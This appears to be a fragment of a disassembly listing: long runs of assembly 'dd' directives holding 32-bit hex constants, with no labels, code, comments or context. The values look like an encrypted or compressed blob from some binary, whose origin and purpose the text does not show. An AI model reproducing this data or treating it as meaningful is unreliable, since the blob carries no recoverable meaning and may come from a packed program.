		dd 0BA0AA762h, 6918159Fh, 0B0520F7Ah, 0C32305B9h, 5759F9A5h
		dd 59C5796Ah, 31EEB15Ah, 4C7A5F99h, 7031922Fh, 65973D5Ch
		dd 0A8477D03h, 0A2DDC03Fh, 739BBD41h, 83AAE045h, 55FDB729h
		dd 0B11A6B46h, 4713FF30h, 23BDD0B9h, 2532D5B5h,	0DAB3D2Eh
		dd 3C0C2241h, 0EFF049B6h, 1A1FC146h, 3AC55E00h,	0AD502243h
		dd 8744E89Dh, 0DBF273CFh, 190AC3C7h, 0FAAEE0B5h, 476B5EF8h
		dd 64E4684Ah, 8B383755h, 9F3E9A0Fh, 87BFE1A6h, 92DA8DA6h
		dd 827AF1C6h, 0DC38D645h, 9FCE0141h, 0B2134856h, 0D6AAC919h
		dd 33D20E70h, 1D46A360h, 0B495158Ch, 0BF9ED542h, 703026FAh
		dd 0A7956683h, 0D7B57C30h, 0FEBB4A12h, 0E68B2AA1h, 0E3F00D69h
		dd 0B8B25358h, 8571BC62h, 52962E2Eh, 0DB64EB90h, 0A143A771h
		dd 1F152FFFh, 2F7D5E8Ah, 45C15A46h, 0EF887552h,	0FF816730h
		dd 0BA038BE7h, 0AABAFB55h, 0B54F59EEh, 0A5BDDBDh, 6B7AB5AEh
		dd 5430DE29h, 0A79C1C6Ch, 5F55A7ADh, 0FC415B86h, 22445C9Ah
		dd 0A913E7E2h, 9E00264Dh, 8ED1333Ch, 9E5BC9B2h,	6A49A077h
		dd 0D135293Fh, 70309B1Eh, 0C6EC2C85h, 1BF5D1C8h, 5101270Ch
		dd 5682C9C4h, 7A36F6D0h, 52B9E1B4h, 8B8CA9h, 0A683AD9Ah
		dd 49DF7AC2h, 213F3929h, 982F60A0h, 79397685h, 488E66D6h
		dd 0A65ECE28h, 0A8569FFEh, 0D23B6D00h, 8FE73ABCh, 72DE42EBh
		dd 5C3CCF2Bh, 0A24567BFh, 66F5B139h, 0DBBB7640h, 0E9215023h
		dd 48CD0DFAh, 0EAAD339Fh, 95847854h, 2ED80C25h,	9A743F10h
		dd 0ADD132A0h, 42F53999h, 390641ECh, 0E385BBC1h, 223449Ch
		dd 2830B739h, 629BBEF2h, 27F44977h, 8661351Fh, 9BF4697Ah
		dd 2641A8DEh, 0CA2F973Bh, 839D1BDh, 0BA6CE2FDh,	88608721h
		dd 0E59E6207h, 6E9674B3h, 0E3401B2Fh, 858378A5h, 286A2A46h
		dd 23332AB1h, 0E1C23F65h, 0CDF91A9Ch, 61654BB2h, 35742BB2h
		dd 0F33AE940h, 8240ADECh, 4F2D5A96h, 0ACA786D8h, 229F25BFh
		dd 4334C2B1h, 7D4748F5h, 8AA3EB88h, 459E4BDCh, 402A0B1h
		dd 0A43C5586h, 0B045FCBCh, 4DA10E4Fh, 0BA784907h, 7517451Dh
		dd 0B2A1BDF5h, 504563B8h, 0F54F15B7h, 2BEA71FDh, 0FB7FE818h
		dd 0B4CDD53h, 0B26AC6Dh, 9F2AC4BDh, 955D2B1Bh, 0F76068E7h
		dd 6BAE303Eh, 634007D5h, 9020D63Ah, 0B0649168h,	0E539DC36h
		dd 6B5370BEh, 698034A0h, 4E577074h, 0F63E1698h,	0A863AD1Dh
		dd 47FB2C27h, 28A8C4ADh, 5E36D148h, 82BAC6B8h, 8230EAD2h
		dd 1F4F6A3Bh, 2F75F61h,	6A882B41h, 1E2A3638h, 3B1F20B3h
		dd 0A712ABBDh, 0DAD83471h, 53DF3469h, 9B2FEF58h, 48A1FBC7h
		dd 0AFBBBB34h, 9446F360h, 90D951A4h, 717F2269h,	34FEEFB1h
		dd 3B283911h, 0DF0836DDh, 45113393h, 0AA95F1E4h, 3D2BE1DFh
		dd 7B5830F5h, 0AAA014C3h, 18BB3527h, 4FB9AA63h,	6A3FF70Bh
		dd 0D905CB70h, 6E1B31D2h, 2F038C8h, 14EDA3A1h, 0E835183h
		dd 3AD919B4h, 3BF24C0Dh, 7A10A147h, 2B3AB366h, 5FF106BAh
		dd 72E8E64Ch, 8CDD1B0Eh, 5A4C6BBCh, 82C0E7C5h, 3BBB33A9h
		dd 83E1E30Dh, 6727F556h, 40006915h, 0CC96803Bh,	0DAF530E3h
		dd 30CC4378h, 35EFCAE9h, 0B5ACE0E4h, 0F2DC37F9h, 0C1F5Bh
		dd 2C04D0D4h, 0EE86CA40h, 0ADA16CE0h, 0F1308949h, 0F5A00A1h
		dd 0C6CBBFB1h, 0D92925E1h, 59F993Dh, 0DF7E0DA6h, 0E3CC5F9Dh
		dd 996F1486h, 2EE5EF39h, 730763AAh, 508511D2h, 0EA7681Ch
		dd 86BA3375h, 0BC92BE96h, 0A924915Ah, 0A1C6626Bh, 9DC419A5h
		dd 89D54A7Fh, 68CF8E03h, 2577C539h, 25EBEDC3h, 74400EDEh
		dd 6B196956h, 23202992h, 42D73DC3h, 0DF461A4Dh,	0B39E78AEh
		dd 440643D0h, 0EEFBB0E1h, 0C68A0141h, 7D5D0B62h, 241D8F87h
		dd 248F3382h, 0BB7C1C19h, 0A3F4D1BAh, 0FF65F2E2h, 710DA35Eh
		dd 0AFF90134h, 0F3418DC0h, 0AEFC990Ah, 793FF56Ah, 0AA36DC3Fh
		dd 0C808D160h, 2BE8B55Fh, 7F660C58h, 0BE2E91EAh, 260F8CB8h
		dd 3218CF74h, 5C273F94h, 3C33CDC1h, 7D308113h, 362E038Ch
		dd 3831FE75h, 34033ADFh, 85F1F6A0h, 712EC0B1h, 66F43CCAh
		dd 0A8AA2C97h, 9FE522A4h, 0A563F273h, 51FE6C34h, 0A2FB0C75h
		dd 66D0F701h, 0E21ADDB5h, 71AEEEB0h, 0B5FB09B2h, 0C6B1EF35h
		dd 71F0332Ch, 4758B596h, 0B9004A5Ah, 0F822FFB1h, 864B005Dh
		dd 9D6C442Dh, 6D3AFD4Ch, 4D34046Ah, 7901B1A9h, 9FEAD2B3h
		dd 0BBFEE3D6h, 0C6EAB32Ah, 3B34FD6Eh, 7A39DD16h, 0EA080577h
		dd 9F24DD28h, 0D9B936FBh, 0D9E44AA7h, 0A28DB7BBh, 42C468B8h
		dd 2F28A495h, 0AE9C6A32h, 0BF4CA554h, 18435326h, 2F18E0BDh
		dd 0E707C45Bh, 9F7EF6A1h
		dd 33F2FC5h, 6D8D16AEh,	0A9CE1905h, 6B26852h, 3730C963h
		dd 0F4E25E4h, 0A2CD36C4h, 892868C9h, 5E3DED2Eh,	70F436A4h
		dd 0D9CA0DE6h, 1D28CA0Dh, 33519900h, 36F3B9A7h,	209D1AE7h
		dd 0A4580B57h, 0F396EDBAh, 6A92E7F2h, 8970F71Ch, 9901F365h
		dd 0DC4A600Eh, 0A1D85855h, 1F5A47A2h, 36F50C6Bh, 3308C63Eh
		dd 0B2B84EAEh, 0B6EE1A15h, 2534F126h, 0DC1807BEh, 0C2E965A2h
		dd 864A2B07h, 0A77A34BBh, 0B02A4B2Ch, 0C80ADDA0h, 253A4735h
		dd 7BC6F1EFh, 0CA326EBFh, 19771A25h, 1A5BA245h,	2329FDBEh
		dd 0A31DB26Bh, 66BE35E4h, 0AE752E24h, 67403826h, 0DC15A465h
		dd 0BF4C0A81h, 51BA345Ch, 435356BCh, 0A62A9910h, 0E0479559h
		dd 0BBA016B3h, 6CEF4AACh, 1B2CDD5Ah, 7CD32DBFh,	1750A62h
		dd 9F37D9B7h, 5F1CFABEh, 8537E37Ch, 173098B4h, 5C34A0E4h
		dd 0AD9AE0EEh, 43A8EA7Fh, 0F4A1F40Bh, 61C628CEh, 0D035AAF1h
		dd 66ABE227h, 0FC15AD41h, 0B6CE3E55h, 48CA5AC4h, 9E2B375Fh
		dd 0C620EDA1h, 58201E03h, 23EA58ACh, 45512010h,	0A34F587Ah
		dd 5CE249D1h, 8447411Dh, 0C645FE3h, 768ADB1Eh, 0D396C920h
		dd 2495F949h, 0E430BC2h, 2DA6C975h, 1DBA60B4h, 88A83BDh
		dd 0D7593B5Ah, 0A6A081B6h, 9929032Eh, 17946F5h,	0D6A350B1h
		dd 6D3FADB4h, 7E9830B2h, 0BC3EF896h, 0C5F4E2B0h, 852CE2C3h
		dd 0DC2949ADh, 719437BDh, 0FB442725h, 0B17BA80Eh, 0A6F7A62Eh
		dd 0BDA02440h, 6DCFF92Eh, 0BF5096F9h, 0B87F77CBh, 5BC2172Eh
		dd 61D4B20Eh, 7CBFF8F2h, 83E5F510h, 589E236Eh, 0ACE1B8AEh
		dd 37EC7849h, 70042D44h, 8184291Bh, 6B1E69E2h, 17F3234Ah
		dd 0FABFC121h, 851C3873h, 40D0D83Ah, 0B7285Eh, 0FDBFEF1h
		dd 85EC72FDh, 8F935571h, 9D2E9CE9h, 10E71631h, 56FE6D95h
		dd 5B4F0956h, 0DF3755E1h, 88E2039Dh, 6A434E8Dh,	442E657Eh
		dd 98213E29h, 292DE51h,	21361206h, 881EA20Ch, 81D09A4Eh
		dd 1474FCE9h, 0BABA990Bh, 48D9E0DCh, 4D1687A8h,	0C5263F19h
		dd 0AC2E0F53h, 211B5628h, 367AEDAFh, 0AF4E13F5h, 83F647D9h
		dd 0CD6D8AB2h, 4A3A7598h, 9CFEAD9Ah, 4490AC31h,	65EF088Fh
		dd 0A5490A30h, 0ADAD627h, 418AB447h, 14A1C495h,	0A8E8CCC4h
		dd 0AD21A9h, 168E2ADBh,	4A36CCEBh, 184D1A32h, 0E11BD4D5h
		dd 0FC080B75h, 0CB6A1D67h, 0C23ADD73h, 1858397Bh, 7630868Eh
		dd 4938C704h, 1F6D5883h, 231A558Eh, 94DE7E09h, 0FCC7E15Eh
		dd 9C320C5Bh, 3536B30Ch, 47247883h, 919619A6h, 90281C87h
		dd 7D7C98BDh, 5F2FF37Dh, 9F78B832h, 0A2072908h,	4B6C62BCh
		dd 47E56F30h, 0BA76349Ah, 77A5B356h, 0B3640CBAh, 82B761ADh
		dd 18BA9953h, 66689113h, 4DE6BF12h, 23E736BCh, 0CFD6FDBBh
		dd 5F26A516h, 225D1EA6h, 0D1F56A6Ah, 272C3E16h,	119362B2h
		dd 725D11A9h, 9D043DEEh, 0B1034709h, 0BE71DEA8h, 0C548654h
		dd 0B3BDA82Eh, 700FC217h, 75126569h, 4874FAD5h,	906C5CA2h
		dd 0DB0412A5h, 1838069Ch, 2AD2BC94h, 0A047E26h,	2D5864A1h
		dd 4E9440F4h, 6A14D280h, 79781F27h, 0A775AA93h,	0B45A1B99h
		dd 0B7BB74BAh, 0DA5D51BDh, 5158E64Ch, 8102FFF6h, 0D2CEFBD6h
		dd 5014B29Bh, 0A3881232h, 4BEAFF5Dh, 5302F745h,	6D2D323Ch
		dd 103D2CA1h, 90EDF040h, 2851A081h, 0E19F5128h,	0B5D10A6h
		dd 4FDF03A6h, 3F8B341Bh, 62CCEDE9h, 5C9CF8B5h, 0F892DCC0h
		dd 1B6864B6h, 0FB223069h, 0B6B4A529h, 0DB6FE5EBh, 0E08CDC7Ah
		dd 0C60BC6FDh, 0C860995h, 6683F922h, 5DBA36BBh,	57A717DDh
		dd 17C457E8h, 6F708384h, 98C386A4h, 1CD1A8A6h, 0EE5822A7h
		dd 69D545E7h, 2B32CDCCh, 57D45DCFh, 0E04BF0D4h,	0D560641Fh
		dd 0A4C24D07h, 777BD0D8h, 0AAFCC5AFh, 1E9EEA97h, 0AC0989D7h
		dd 0BD58FBE5h, 0C2CD495Ah, 0A010AAD9h, 0A3652D89h, 0BB7531F1h
		dd 874AE181h, 0F0E48CA6h, 0E22B5DFh, 0A55B29BAh, 9F9E8622h
		dd 43C535BAh, 55D4A7Eh,	24E722BAh, 92D82146h, 74BC37BAh
		dd 0BE94E02Eh, 0AE7C320h, 9536A1C4h, 0A436A554h, 0A1C4156Ch
		dd 0B85A35D4h, 0F3AC1B54h, 9F2492CDh, 971BEFABh, 0E19A535h
		dd 8EFD076Dh, 0FA8D3776h, 0C9407D21h, 527FA501h, 0E96AFBBBh
		dd 0C259F964h, 0CDBC5056h, 5AA73344h, 4C5283C6h, 189E2C29h
		dd 58F9E8D7h, 0BCA9A6D9h, 0A413AB52h, 0A1168B58h, 9AF08D55h
		dd 23B73662h, 5F2A86A3h, 7D30E127h, 1C805FDh, 0CB5B200h
		dd 0A0DB33A0h, 0E9B1699Ch, 0DD396276h, 0C0386EE5h, 66EA2801h
		dd 0B2AB0C0Fh, 0B468F80Dh, 0CFB12FC8h, 0DCB8097Eh, 972379E6h
		dd 0BEE13C6Ch, 0A585A766h, 0CB2062C3h, 7A3980C0h, 41EB2013h
		dd 1DF1379Ah, 0FAD8262Bh, 4D4C7CBCh, 0AAD039A1h, 97015BB3h
		dd 13124A25h, 0BBD287B9h, 0C9DFCBC6h, 538D485Bh, 0DC08CFBAh
		dd 90FE63FDh, 0D90CFB89h, 10693BBFh, 0EE9657B8h, 8D1AE8A4h
		dd 0B50E7014h, 0ABE105FDh, 82B99D1Ch, 428BEFBCh, 0A4327D42h
		dd 9B3314F9h, 0EB6F483Dh, 87A8C796h, 3B71C055h,	93C5C838h
		dd 9CE514CDh, 691EB40Eh, 0A4FBB5A7h, 5F7EB5C2h,	0BF7C69C8h
		dd 9B211E01h, 853AC8A4h, 0FA90BD00h, 1D3FABF8h,	0ACDD5F7Fh
		dd 5050AAB6h, 29D92FD6h, 8512329Ch, 0A8C909BBh,	0A3C4003Eh
		dd 69ED011Bh, 97FA999Ch, 5ECF6010h, 2BD5609Ah, 0CD18DDD2h
		dd 0A457BD0h, 0AF777AEAh, 0CE8CB8E5h, 0CE15A214h, 722B2E1Eh
		dd 0BEE4A89Ch, 0A423A1BDh, 1AE14F76h, 56A08BD8h, 0BFD5484Bh
		dd 2281467Ah, 0D6563A7Ah, 864F1221h, 8133E7C6h,	0CF2689C6h
		dd 0D0268674h, 49C361A9h, 5983F1A7h, 0D881F526h, 0B46CF083h
		dd 64FDA4ADh, 236C843Dh, 81F5716Dh, 2FF70A1Dh, 182BAF82h
		dd 234B1977h, 0B230CBE4h, 0C245180Dh, 17C53C2Fh, 163E36EAh
		dd 0C7C724A2h, 8E3BBA2Ch, 85238E7Dh, 0AC2332A8h, 3FBF37B8h
		dd 81290A70h, 7557F40h,	968D536Eh, 0C29EEC43h, 552CC37h
		dd 3AF93998h, 0C47A124Fh, 172FF6B3h, 0F34C20B8h, 0AEACEEA2h
		dd 0AAAE3885h, 0A269234Dh, 5726A35Ah, 4AC46335h, 65FDDEEh
		dd 59622A9h, 6F3CE543h,	1B6E6981h, 0F511C100h, 0AAE997Ah
		dd 0B1ACB3D9h, 14899012h, 57E45E45h, 0D69D48D5h, 0EAB51B91h
		dd 0BB5B1487h, 3F5AA5A3h, 6FA47F09h, 9E80B313h,	967B35FFh
		dd 0C8FCA9Ah, 90D58675h, 0A499EBCFh, 1E3EB2F9h,	5B893C7Ah
		dd 742C363Bh, 0A2F7AE4Dh, 0A2602A0Dh, 0A0D3A806h, 0FA40F853h
		dd 0E538E0CBh, 3C9F5533h, 45A371B4h, 1409D10Ch,	2C7228FDh
		dd 74EF31AAh, 9D227443h, 46F7ED0Ah, 3530903Ch, 80EDCE41h
		dd 0A70E0CEh, 0E34E42FCh, 413086E7h, 9AFBEC2Fh,	0E3BFCFEDh
		dd 0BD224A0Eh, 0FF3A69F9h, 81204F34h, 245B4961h, 0BF58339Bh
		dd 2357E999h, 89395A97h, 0A90BDE66h, 0A86516F5h, 47433462h
		dd 58362D9Ah, 32390FB9h, 0B8CE0EF3h, 0C4289220h, 0AFE5E247h
		dd 0AE21A237h, 9D3AC34Ch, 4A4126A4h, 679279Ch, 4DBEF91Fh
		dd 1AC9992Bh, 48F96EF2h, 80979946h, 9135E6EAh, 0DB050A80h
		dd 372C9AAh, 61583CEBh,	0AFD12ACEh, 2FDFD324h, 0BC34A583h
		dd 0E2DD17E3h, 1343B3Fh, 0B3CF0263h, 0BD82C948h, 0C8E8938h
		dd 0A036890Bh, 0CF3F700Ch, 95BDEB5h, 0D2DA72E0h, 53B80403h
		dd 0FBC216BFh, 2E8C3641h, 0BC8277B3h, 47DA399Ch, 6F3431E5h
		dd 9E3A5740h, 8B52CCDEh, 0A61EB4C6h, 6F43C777h,	687BCAABh
		dd 954CA48Dh, 4943A6D1h, 3FFA6598h, 0DAAD27E4h,	40355358h
		dd 47086FE6h, 82198386h
		dd 0E47C7CFEh, 17C3CCA4h, 0C0526ABh, 0FE310059h, 28C1387Fh
		dd 6F6057A2h, 2A42394Dh, 18ADD52h, 72EA453h, 0A5C6DEA2h
		dd 8C5A2926h, 0BC04AF9Ah, 0EE2E1622h, 791D1B4Fh, 94CE0C3Fh
		dd 59327507h, 5EEC5A16h, 0C83D0524h, 82383C92h,	15A25908h
		dd 0FEA0578h, 7582500Bh, 0BF645E4Eh, 5C3E4F24h,	0B7A13427h
		dd 50F4F517h, 70519192h, 0BCFE78A4h, 1826B8A3h,	0AF486075h
		dd 8252DC91h, 0FD9E3345h, 82E20C7Eh, 6A0A594Bh,	0A333FC87h
		dd 0A4A4295Ah, 2C5EDFh,	24CA32AAh, 0E571AA99h, 0ECFC32EAh
		dd 0A4F52D61h, 22C52EACh, 0D98CDDA4h, 21B8BDA0h, 1AE51703h
		dd 65B61CACh, 4AC922A4h, 0A9D0606Ah, 0A0FFE967h, 8C59E921h
		dd 5A98E8AAh, 28B4F7BCh, 468008A2h, 6E00A9D3h, 1A8529E5h
		dd 9E2ACD4Fh, 2A2B08ABh, 4A1C3504h, 8EDEDD2Bh, 9F69780Ah
		dd 1A152813h, 0E3CE2C02h, 87D573B1h, 0E26A84C4h, 0E3EBDD8Dh
		dd 0BF47ECBCh, 9D35E1A5h, 0AA38E5FBh, 0CF3CE65Bh, 0E357174Dh
		dd 97B859F7h, 30727DE3h, 853F9975h, 0E22B1D01h,	41FEF95Eh
		dd 0CAF476BDh, 0CFEC3B3Eh, 0A1635F6h, 0BB5D6115h, 537D2A96h
		dd 0AD3FE9E1h, 0CCC73322h, 5B981C10h, 0C1667D4h, 77BE4EBCh
		dd 6B7CD682h, 124A1A40h, 0BF383C21h, 0B708B3A7h, 40663026h
		dd 50362F7Eh, 0AFEB9156h, 19404BC6h, 0AEB9044Ch, 8F3D0F23h
		dd 53800661h, 72E2805Dh, 7E0F7F5Ah, 380297B8h, 0AEB60728h
		dd 2B349E65h, 0F544BCDCh, 0DC430361h, 8541E9B9h, 1E2278BEh
		dd 4344377Ah, 0A8AE7F0Dh, 0D960C258h, 12FA5C96h, 0A2386DB2h
		dd 83C9FF3Ch, 3DF3DA7Fh, 7594235Ch, 50C5FF63h, 2356E20Dh
		dd 9F2BFD4Fh, 8EB2F16Ch, 5BEB7A66h, 74AAE7B1h, 0A385AD15h
		dd 5C7D5CB5h, 0BEDFDD0Eh, 53C63BBFh, 1C295D1Bh,	9D994EA1h
		dd 6B5C03E6h, 50F20732h, 7EAE1A34h, 0A3070995h,	6EC84972h
		dd 92F73BF3h, 4A50E8EAh, 0B9D9E03Fh, 747C1BBFh,	9C233E2Fh
		dd 570AE525h, 6AC63610h, 9316EA09h, 0AD747054h,	0FB2D2DFFh
		dd 47FEB46Dh, 0F649206Dh, 12A9DFFCh, 69AFFB12h,	6EA518B0h
		dd 0A2F6AB51h, 58CDF69Ah, 3E321466h, 873B8140h,	0F340DEFh
		dd 1A6366A0h, 5C2349Ah,	0C9CE3F29h, 88335610h, 8E9BF3FCh
		dd 38AEBEh, 9E7A3740h, 0FFAF4695h, 0A559AA4Dh, 9397D5F8h
		dd 62F3CA24h, 65B8CF46h, 9F17B4BBh, 0D89D5524h,	601C4D54h
		dd 0D54B6ABBh, 4DC03631h, 2A8302ADh, 3B5DA0FBh,	0EE07CF27h
		dd 9B1E6241h, 1D35AC9Dh, 1B8E69EDh, 0B0205819h,	9424AFD8h
		dd 227A66A8h, 59FF76C3h, 96F9272Eh, 0D597B76Bh,	1943143Bh
		dd 1F85592Dh, 7A93FF8Eh, 600A153Ch, 7539AABEh, 83ECA226h
		dd 0BAE9C816h, 0B8B18C06h, 0A0F007BDh, 5400184Fh, 9DE93010h
		dd 4195EB8Bh, 833CC360h, 60AB2AA8h, 97AAAB9Eh, 9F369CA3h
		dd 0BF22AA5Fh, 9D6766A2h, 23FBA7C7h, 0A2B5AD9Bh, 88890E97h
		dd 0BE5F4FCh, 0AC2D1F9Fh, 0A14D35EEh, 7D954ABCh, 1E4939E4h
		dd 6AF211D6h, 822C10A6h, 9E6652C9h, 39AC90BFh, 70085D1Ah
		dd 8ED605A3h, 823C4259h, 7286910h, 2E9533A9h, 0A4EA354Dh
		dd 2CC38526h, 2C8520BAh, 18F0413Dh, 42849940h, 0D87FA19Eh
		dd 0EED63961h, 0BAD91A36h, 19310734h, 53BB2E83h, 0D334C94Fh
		dd 505E0AD7h, 9BB33547h, 3959ABBBh, 0E3E4529h, 0D69527A2h
		dd 1D837528h, 7E97997Ah, 0D656F79Bh, 0D20A7D5Fh, 0E2814A51h
		dd 0F0B8362Eh, 9E6B8067h, 0B4E1E494h, 490FDDBBh, 704A4763h
		dd 6257CC99h, 0AF608FDBh, 21680464h, 615CCB0Eh,	91120B64h
		dd 67543744h, 0E4021773h, 8ED431EAh, 0BEDA43DAh, 4E6FAA87h
		dd 0B5D004DEh, 0A6485ADDh, 230F6E29h, 553F36B7h, 5A392377h
		dd 0B9712F81h, 5158108Ch, 9A7346AEh, 5E185C17h,	0F3D38C8Eh
		dd 7E3A90FEh, 2250F22h,	0D23AC627h, 0D5F1413Bh,	0CEBBBE9Dh
		dd 7B5802E5h, 7DCE5122h, 20806728h, 4240E9EAh, 8FB3F3EEh
		dd 0F353E75h, 99D383BFh, 5B41036Bh, 1D00FE0Fh, 1B46FDE2h
		dd 0E53823B2h, 0EDF21BEh, 0B11AB45Eh, 4E88A057h, 6EB36EE3h
		dd 186A6113h, 9D6E8C91h, 0FD4F1401h, 3E84468h, 0C2C5D360h
		dd 0E4C5D601h, 155BA5E2h, 1702B380h, 0FB4B8608h, 0CF40DAC0h
		dd 0FF3158B8h, 1C65C2A7h, 54A66720h, 34CE85BEh,	955FBEEh
		dd 0C3909FA7h, 386AA59h, 0A150F295h, 0E14B6D5h,	65179977h
		dd 794124B4h, 0C0EC501Bh, 823FAD22h, 6DC1566Ah,	37959270h
		dd 22059038h, 5964160Bh, 2400F1CAh, 4208A6Fh, 0E050FE3Eh
		dd 279B4976h, 9E163779h, 727E8513h, 1459910h, 7BAF7AA3h
		dd 0F2C55CDEh, 0FEBDB514h, 0CA87CD55h, 0CC827943h, 7102DC06h
		dd 0B4D8BEEDh, 0FB6AAEBCh, 9EDF6EEEh, 685A7968h, 0FC511B42h
		dd 0F61DB679h, 32C3037Ah, 7923A2E4h, 55FD42B2h,	0AAC453B3h
		dd 823BAB9Ch, 5830746Dh, 0AEA98188h, 0F026C46Ch, 0E049495Bh
		dd 0B1F3009Dh, 23A22DE3h, 6CE8DB50h, 70163B4Ah,	0C260DAAAh
		dd 0F8C72BA4h, 752084C7h, 32C85208h, 0F33BDDFFh, 9AD1DDEh
		dd 13EF4D38h, 121D28ADh, 0ECC7CA5Eh, 2555B60Eh,	91411A19h
		dd 8694E026h, 5761FAE6h, 6B1A9635h, 5AA0A34Ch, 0B37EA4EDh
		dd 5820D0A3h, 77D019FBh, 0A28DD58h, 0ED0B0C9Eh,	4CB276ADh
		dd 0A3532891h, 1F3ED367h, 5A97DFFBh, 80C5E8DBh,	3FB72C28h
		dd 0C9136743h, 387AD054h, 0B23ABFE1h, 0A93BF117h, 831AD93Fh
		dd 8460AF50h, 0BFA33E2Bh, 0A3D871B5h, 0D490A6D7h, 64D808EEh
		dd 475E479Bh, 0FF720C42h, 0EEEB3D3Ah, 0A42C51B5h, 6FF67A51h
		dd 36EFF2B3h, 1366ADBEh, 0B565AB32h, 71E92F02h,	2A66BCEEh
		dd 0B40ED07Ah, 63904D2Ch, 621CDD58h, 45B0412Bh,	19A3C007h
		dd 0AC79AB16h, 0CCA4F8C0h, 0D165795Bh, 9669D3FAh, 95DAAD4Ch
		dd 0B5811411h, 285F550h, 496F3F2Ah, 489743ADh, 298EF2F9h
		dd 0AE905EC0h, 0A2DA028Eh, 57D85011h, 485AC020h, 0E3BF4EA3h
		dd 0E542B6AEh, 519A7DADh, 3BBBC65Fh, 96F99B1Ah,	5935C9C5h
		dd 9F296231h, 0D4ED0495h, 74A8163Dh, 0B6A1F0C1h, 3CE2245h
		dd 0DBBDA971h, 0CC07FD4Ch, 8F320EAFh, 31B4DB5Dh, 0F1F09867h
		dd 3C5C9DDh, 9D6FC1B9h,	0E0F0DB35h, 0E0BA950h, 52BA0886h
		dd 0ADCE3551h, 23B4C66Eh, 50AA6D60h, 57B9255Ah,	0BA9A09C3h
		dd 0DD7256CCh, 90BF87CDh, 5D2BA59Fh, 58FAE622h,	4C43E96Dh
		dd 278C1DA6h, 995A7569h, 5A8CF478h, 7BAE2BB0h, 9309EF7Ah
		dd 8B580781h, 2E986FF3h, 5B3F9BDAh, 5F5AF655h, 8506DDE4h
		dd 0EFFDA750h, 4CBC9FA1h, 14CE1C29h, 0F88741CDh, 0CFE9A735h
		dd 3C570B73h, 5C1D3445h, 6CCDE1FAh, 0A6EE608Fh,	0E8DEA2D5h
		dd 0CB285583h, 60CE459Dh, 0D81CAAC1h, 0A0F8F579h, 76F38BBAh
		dd 488E75E9h, 82EF10FEh, 1821FA7Fh, 0E219D7FFh,	8318033h
		dd 910282A4h, 3B783A8Ah, 3A6D02F2h, 6376D589h, 38968D73h
		dd 2A4F0C51h, 0B0D1BDEh, 0CF1633BFh, 0DF254C7h,	9513326Bh
		dd 0A876B8D8h, 9E39AB6Dh, 2007E56Dh, 77FCAD71h,	49ABF74Bh
		dd 4674AB8Eh, 0DB3A1AA0h, 565B46ADh, 5B32EAE2h,	2DB90AAAh
		dd 99BE0CFCh, 0DDE42A43h, 0BAB63B7Ch, 0A430DD4Dh, 2F86313Ah
		dd 90F52A07h, 504C4B3Dh, 0E81B4EA1h, 0F87CDC80h, 7446570Fh
		dd 64CCB0C7h, 0C365D985h, 0BEF53231h, 0B2A66222h, 0A0BBF23Eh
		dd 7341AA4Dh, 2F5B4AACh, 55690C98h, 2894C660h, 0A9CE3218h
		dd 0E5ADD05h, 0D5C9720Ah, 650725B0h, 83435085h,	0AA08A8CCh
		dd 7467D7F5h, 0FD137554h
		dd 9C95C67h, 4882F6B8h,	7B5A7C83h, 5FF918E3h, 85320767h
		dd 0EE750D12h, 152EA570h, 6A7CEB64h, 9937B4E6h,	9C1B8DBBh
		dd 14830A4Fh, 97E2BEC7h, 8EAFC4E4h, 42346B4Ch, 650D167Ch
		dd 40D12601h, 0A5AF4432h, 6C4EE4F9h, 2FB61726h,	7662B656h
		dd 267AEFE6h, 0B3A91794h, 0A624315Eh, 654A1C9Dh, 0CDD70E0Eh
		dd 625A773Ah, 0D3B02718h, 0A380C75Fh, 93536353h, 0A6F72DEDh
		dd 3B512FFEh, 901249CAh, 79771219h, 0FEDEC69Ch,	0AAFBE0E6h
		dd 0D23E2F2Bh, 2310AF35h, 2D13503Ch, 0D6170F40h, 0E42334Dh
		dd 623227A9h, 0A6BBBA1Eh, 0FDC9971h, 0BE70392Eh, 0FDECCDBAh
		dd 6AEF1545h, 0E2593573h, 244836B3h, 7641B354h,	0E7CEE8C6h
		dd 165DC97Dh, 91F761B9h, 614105CAh, 0E797B478h,	44184FCh
		dd 42BEFB1h, 0CBDC44B5h, 4A0220FEh, 23F3EE9Ch, 0F01D9EDh
		dd 0B20BEBC2h, 6B514B68h, 512EC96Eh, 8362F435h,	24D8BBA6h
		dd 0FBE1DC17h, 91810156h, 7EDAFFC4h, 1A099735h,	29960B66h
		dd 9FEC01C3h, 0C1EC2680h, 0BDF03398h, 0ED88F3Fh, 24007337h
		dd 92DCECB5h, 8C40E3E5h, 91016FDCh, 0D22E7507h,	9833E9C9h
		dd 0C511C700h, 0ACB29F94h, 0D5864995h, 0E138429Fh, 6B00FFB9h
		dd 2DE4391Eh, 755EB6h, 1E12B13Eh, 8C2F276Dh, 1FAF5BF3h
		dd 1C3AFF58h, 16FFADD7h, 56200E7Bh, 8C47793Dh, 60392EBDh
		dd 0EC59E034h, 23C42955h, 48E6F9F9h, 0EC12E33Fh, 6B153D82h
		dd 0AE5A4D2Bh, 17F6E221h, 63F3CD35h, 43272A6Fh,	57F6FAEAh
		dd 5BB0B65Ah, 57B2816Ch, 9BDB87B8h, 735C6F1Ch, 0BFE8D6BBh
		dd 1CA38A59h, 873F4A95h, 859E4B69h, 15B9BAF9h, 7732A160h
		dd 0AEE132D1h, 7195FAF1h, 58243B46h, 0DA3B4B06h, 0ED414A90h
		dd 9425804Eh, 0FA637B2Eh, 0A468BDB7h, 0A449A3BAh, 9FCF2A25h
		dd 71D66225h, 0B0152B63h, 0A102383Dh, 9268DE19h, 24FA2044h
		dd 9743684Eh, 0FE3D69B4h, 93331A7Eh, 0F3BE5313h, 6DDF0996h
		dd 0F706DC5Eh, 0AA5286CBh, 20803812h, 0A53BDE0Bh, 9DD0E1B8h
		dd 0BE22E53Fh, 570D2329h, 5C6BEC0Bh, 0BA8503E3h, 0A189D006h
		dd 6D0DDD8Ah, 0E89A796Ah, 0AC8C119Ah, 7B936DEEh, 603CFEB1h
		dd 715A6975h, 0F2842071h, 613C3BFEh, 63F3C687h,	8BE5F850h
		dd 0F61522F4h, 4A2E530Dh, 45802FFDh, 2AE9DDE4h,	45F2EC97h
		dd 0A12C6FD2h, 62722874h, 32D8F711h, 32DA424Fh,	0EAE1E3D5h
		dd 55A80F49h, 0B6F9BDF4h, 0E380997Ah, 73752D94h, 0B1B38972h
		dd 7913EF8Ch, 952FCFEEh, 1D41F53Ch, 0BC14C0BBh,	2515FC34h
